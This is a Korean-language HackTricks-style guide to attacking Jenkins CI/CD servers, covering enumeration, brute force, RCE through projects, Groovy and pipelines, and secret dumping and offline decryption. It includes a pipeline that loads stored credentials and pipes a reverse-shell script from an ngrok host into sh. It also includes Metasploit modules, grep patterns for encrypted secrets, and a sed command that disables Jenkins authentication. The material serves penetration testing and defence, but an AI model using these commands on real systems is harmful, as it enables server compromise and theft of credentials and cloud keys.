Jenkins 보안

Reading time: 12 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

Jenkins는 파이프라인을 사용하여 거의 모든 조합의 프로그래밍 언어 및 소스 코드 리포지토리에 대한 지속적인 통합 또는 지속적인 배포 (CI/CD) 환경을 설정하는 간단한 방법을 제공하는 도구입니다. 또한 다양한 일상적인 개발 작업을 자동화합니다. Jenkins는 개별 단계에 대한 스크립트를 작성할 필요성을 없애지는 않지만, 수동으로 쉽게 구성할 수 있는 것보다 빌드, 테스트 및 배포 도구의 전체 시퀀스를 통합하는 더 빠르고 강력한 방법을 제공합니다.

Basic Jenkins Information

인증되지 않은 열거

인증 없이 흥미로운 Jenkins 페이지를 검색하려면 (/people 또는 _/asynchPeople_와 같이 현재 사용자를 나열하는 페이지) 다음을 사용할 수 있습니다:

msf> use auxiliary/scanner/http/jenkins_enum

인증 없이 명령을 실행할 수 있는지 확인하십시오:

msf> use auxiliary/scanner/http/jenkins_command

자격 증명이 없으면 /asynchPeople/ 경로 또는 _/securityRealm/user/admin/search/index?q=_에서 사용자 이름을 확인할 수 있습니다.

경로 /oops 또는 _/error_에서 Jenkins 버전을 확인할 수 있을 것입니다.

알려진 취약점

GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins servers

로그인

기본 정보에서 Jenkins에 로그인하는 모든 방법을 확인할 수 있습니다:

Basic Jenkins Information

등록

계정을 생성하고 로그인할 수 있는 Jenkins 인스턴스를 찾을 수 있습니다. 그것만큼 간단합니다.

SSO 로그인

또한 SSO 기능/플러그인이 존재한다면 테스트 계정(예: 테스트 Github/Bitbucket 계정)을 사용하여 애플리케이션에 로그인을 시도해야 합니다. 여기에서 팁을 얻으세요.

브루트포스

Jenkins비밀번호 정책사용자 이름 브루트포스 완화가 부족합니다. 약한 비밀번호 또는 비밀번호로서의 사용자 이름이 사용될 수 있으므로 사용자브루트포스하는 것이 필수적입니다. 심지어 역순 사용자 이름을 비밀번호로 사용하는 경우도 있습니다.

msf> use auxiliary/scanner/http/jenkins_login

비밀번호 스프레이

Use this python script or this powershell script.

IP 화이트리스트 우회

많은 조직이 SaaS 기반 소스 제어 관리(SCM) 시스템인 GitHub 또는 GitLab을 내부, 자체 호스팅 CI 솔루션인 Jenkins 또는 TeamCity와 결합합니다. 이 설정은 CI 시스템이 SaaS 소스 제어 공급업체로부터 웹훅 이벤트를 수신할 수 있게 하여 파이프라인 작업을 트리거할 수 있도록 합니다.

이를 달성하기 위해 조직은 SCM 플랫폼IP 범위화이트리스트하여 웹훅을 통해 내부 CI 시스템에 접근할 수 있도록 허용합니다. 그러나 누구나 GitHub 또는 GitLab에 계정을 생성하고 이를 웹훅을 트리거하도록 구성할 수 있다는 점에 유의해야 합니다. 이는 내부 CI 시스템에 요청을 보낼 수 있습니다.

Check: https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/

내부 Jenkins 남용

이 시나리오에서는 Jenkins에 접근할 수 있는 유효한 계정이 있다고 가정합니다.

warning

Jenkins에 구성된 인증 메커니즘과 손상된 사용자의 권한에 따라 다음 공격을 수행할 수 있을 수도 있고, 아닐 수도 있습니다.

자세한 정보는 기본 정보를 확인하세요:

Basic Jenkins Information

사용자 목록 나열

Jenkins에 접근했다면 http://127.0.0.1:8080/asynchPeople/에서 다른 등록된 사용자를 나열할 수 있습니다.

평문 비밀 찾기를 위한 빌드 덤프

Use this script to dump build console outputs and build environment variables to hopefully find cleartext secrets.

bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

SSH 자격 증명 탈취

타협된 사용자가 새 Jenkins 노드를 생성/수정할 수 있는 충분한 권한을 가지고 있고 SSH 자격 증명이 다른 노드에 접근하기 위해 이미 저장되어 있다면, 그는 노드를 생성/수정하고 자격 증명을 기록할 호스트를 설정하여 그 자격 증명을 탈취할 수 있습니다. 호스트 키를 검증하지 않고:

Jenkins SSH 자격 증명은 일반적으로 전역 제공자(/credentials/)에 있으므로, 다른 비밀을 덤프하는 것처럼 그들을 덤프할 수 있습니다. 더 많은 정보는 비밀 덤프 섹션에서 확인하세요.

Jenkins에서의 RCE

Jenkins 서버에서 셸을 얻는 것은 공격자에게 모든 비밀환경 변수를 유출하고, 동일한 네트워크에 위치한 다른 머신을 악용하거나 클라우드 자격 증명수집할 수 있는 기회를 제공합니다.

기본적으로 Jenkins는 SYSTEM으로 실행됩니다. 따라서 이를 타협하면 공격자는 SYSTEM 권한을 얻게 됩니다.

프로젝트 생성/수정으로 RCE 얻기

프로젝트를 생성/수정하는 것은 Jenkins 서버에서 RCE를 얻는 방법입니다:

Jenkins RCE Creating/Modifying Project

Groovy 스크립트 실행으로 RCE 얻기

Groovy 스크립트를 실행하여 RCE를 얻을 수도 있으며, 이는 새 프로젝트를 생성하는 것보다 더 은밀할 수 있습니다:

Jenkins RCE with Groovy Script

파이프라인 생성/수정으로 RCE 얻기

파이프라인을 생성/수정하여 RCE를 얻을 수도 있습니다:

Jenkins RCE Creating/Modifying Pipeline

파이프라인 악용

파이프라인을 악용하려면 여전히 Jenkins에 접근할 수 있어야 합니다.

빌드 파이프라인

파이프라인프로젝트의 빌드 메커니즘으로도 사용될 수 있으며, 이 경우 저장소 내의 파일이 파이프라인 구문을 포함하도록 구성될 수 있습니다. 기본적으로 /Jenkinsfile이 사용됩니다:

또한 다른 위치에 파이프라인 구성 파일을 저장하는 것도 가능하며(예: 다른 저장소) 이는 저장소 접근파이프라인 접근분리하기 위한 목적입니다.

공격자가 해당 파일에 대한 쓰기 권한을 가지고 있다면, 그는 이를 수정하고 Jenkins에 접근하지 않고도 파이프라인을 트리거할 수 있습니다.
공격자가 일부 브랜치 보호를 우회해야 할 수도 있습니다(플랫폼과 사용자 권한에 따라 우회할 수 있을 수도 있고 아닐 수도 있습니다).

사용자 정의 파이프라인을 실행하기 위한 가장 일반적인 트리거는 다음과 같습니다:

  • 주 브랜치에 대한 풀 요청(또는 다른 브랜치에 대한 가능성)
  • 주 브랜치에 푸시(또는 다른 브랜치에 대한 가능성)
  • 주 브랜치를 업데이트하고 실행될 때까지 기다리기

note

외부 사용자인 경우, 다른 사용자/조직의 저장소의 주 브랜치에 PR을 생성하고 파이프라인을 트리거할 것으로 기대해서는 안 됩니다... 하지만 잘못 구성된 경우 이를 악용하여 회사를 완전히 타협할 수 있습니다.

파이프라인 RCE

이전 RCE 섹션에서는 파이프라인을 수정하여 RCE를 얻는 기술이 이미 언급되었습니다.

환경 변수 확인

전체 파이프라인 또는 특정 단계에 대해 일반 텍스트 환경 변수를 선언하는 것이 가능합니다. 이 환경 변수는 민감한 정보를 포함해서는 안 되지만, 공격자는 항상 모든 파이프라인 구성/Jenkinsfile을 확인할 수 있습니다:

bash
pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

비밀 덤프

Jenkins에서 비밀이 일반적으로 어떻게 처리되는지에 대한 정보는 기본 정보를 확인하세요:

Basic Jenkins Information

자격 증명은 전역 제공자(/credentials/) 또는 특정 프로젝트(/job/<project-name>/configure)에 범위가 지정될 수 있습니다. 따라서 모든 비밀을 유출하려면 비밀이 포함된 모든 프로젝트를 최소한 타협해야 하며, 사용자 정의/오염된 파이프라인을 실행해야 합니다.

또 다른 문제는 파이프라인의 env 내에서 비밀을 얻으려면 비밀의 이름과 유형을 알아야 한다는 것입니다. 예를 들어, string 비밀usernamePassword 비밀로드하려고 하면 이 오류가 발생합니다:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

여기 일반적인 비밀 유형을 로드하는 방법이 있습니다:

bash
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

이 페이지의 끝에서 모든 자격 증명 유형찾을 수 있습니다: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

warning

모든 비밀을 한 번에 덤프하는 가장 좋은 방법은 Jenkins 머신을 타협하는 것입니다 (예를 들어 내장 노드에서 리버스 셸을 실행) 그리고 마스터 키암호화된 비밀유출한 후 오프라인에서 복호화하는 것입니다.
이를 수행하는 방법에 대한 자세한 내용은 Nodes & Agents sectionPost Exploitation section에서 확인할 수 있습니다.

트리거

문서에서: triggers 지시문은 파이프라인이 자동으로 다시 트리거되는 방법을 정의합니다. GitHub 또는 BitBucket과 같은 소스와 통합된 파이프라인의 경우, 웹훅 기반 통합이 이미 존재할 가능성이 있으므로 triggers가 필요하지 않을 수 있습니다. 현재 사용 가능한 트리거는 cron, pollSCMupstream입니다.

Cron 예:

bash
triggers { cron('H */4 * * 1-5') }

다른 예제는 문서에서 확인하세요.

노드 및 에이전트

Jenkins 인스턴스다른 머신에서 실행되는 다양한 에이전트를 가질 수 있습니다. 공격자의 관점에서 볼 때, 다양한 머신에 대한 접근은 다양한 잠재적 클라우드 자격 증명을 훔치거나 다른 머신을 악용할 수 있는 다양한 네트워크 접근을 의미합니다.

자세한 정보는 기본 정보를 확인하세요:

Basic Jenkins Information

/computer/에서 구성된 노드를 나열할 수 있으며, 보통 Built-In Node (Jenkins를 실행하는 노드)를 찾을 수 있고, 잠재적으로 더 많은 노드를 찾을 수 있습니다:

Built-In 노드를 타겟으로 하는 것이 특히 흥미롭습니다. 왜냐하면 이 노드는 민감한 Jenkins 정보를 포함하고 있기 때문입니다.

내장 Jenkins 노드에서 파이프라인실행하고 싶다는 것을 나타내기 위해, 파이프라인 내에서 다음 구성을 지정할 수 있습니다:

bash
pipeline {
agent {label 'built-in'}

전체 예제

특정 에이전트에서의 파이프라인, 크론 트리거와 함께, 파이프라인 및 단계 환경 변수, 단계에서 2개의 변수를 로드하고 리버스 셸을 전송하는 예:

bash
pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

임의 파일 읽기를 통한 RCE

Jenkins Arbitrary File Read to RCE via "Remember Me"

RCE

Jenkins RCE with Groovy Script

Jenkins RCE Creating/Modifying Project

Jenkins RCE Creating/Modifying Pipeline

포스트 익스플로잇

메타스플로잇

msf> post/multi/gather/jenkins_gather

Jenkins Secrets

당신은 충분한 권한이 있다면 /credentials/에 접근하여 비밀을 나열할 수 있습니다. 이는 credentials.xml 파일 내의 비밀만 나열하지만, 빌드 구성 파일에도 더 많은 자격 증명이 있을 수 있습니다.

만약 당신이 각 프로젝트의 구성을 볼 수 있다면, 저장소에 접근하기 위해 사용되는 **자격 증명(비밀)**의 이름과 프로젝트의 다른 자격 증명도 볼 수 있습니다.

From Groovy

Jenkins Dumping Secrets from Groovy

From disk

이 파일들은 Jenkins 비밀을 복호화하는 데 필요합니다:

  • secrets/master.key
  • secrets/hudson.util.Secret

이러한 비밀은 일반적으로 다음에서 찾을 수 있습니다:

  • credentials.xml
  • jobs/.../build.xml
  • jobs/.../config.xml

다음은 이를 찾기 위한 정규 표현식입니다:

bash
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Jenkins 비밀을 오프라인으로 복호화하기

비밀을 복호화하는 데 필요한 비밀번호를 덤프한 경우, 이 스크립트를 사용하여 그 비밀을 복호화하세요.

bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Groovy에서 Jenkins 비밀 해독하기

bash
println(hudson.util.Secret.decrypt("{...}"))

새 관리자 사용자 만들기

  1. /var/lib/jenkins/config.xml 또는 C:\Program Files (x86)\Jenkis\에서 Jenkins config.xml 파일에 접근합니다.
  2. <useSecurity>true</useSecurity>라는 단어를 검색하고 **true**를 **false**로 변경합니다.
  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml
  4. Jenkins 서버를 재시작합니다: service jenkins restart
  5. 이제 다시 Jenkins 포털로 가면 Jenkins가 자격 증명을 요청하지 않습니다. "Manage Jenkins"로 이동하여 관리자 비밀번호를 다시 설정합니다.
  6. 설정을 <useSecurity>true</useSecurity>로 변경하여 보안을 다시 활성화하고 Jenkins를 다시 재시작합니다.

참고자료

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기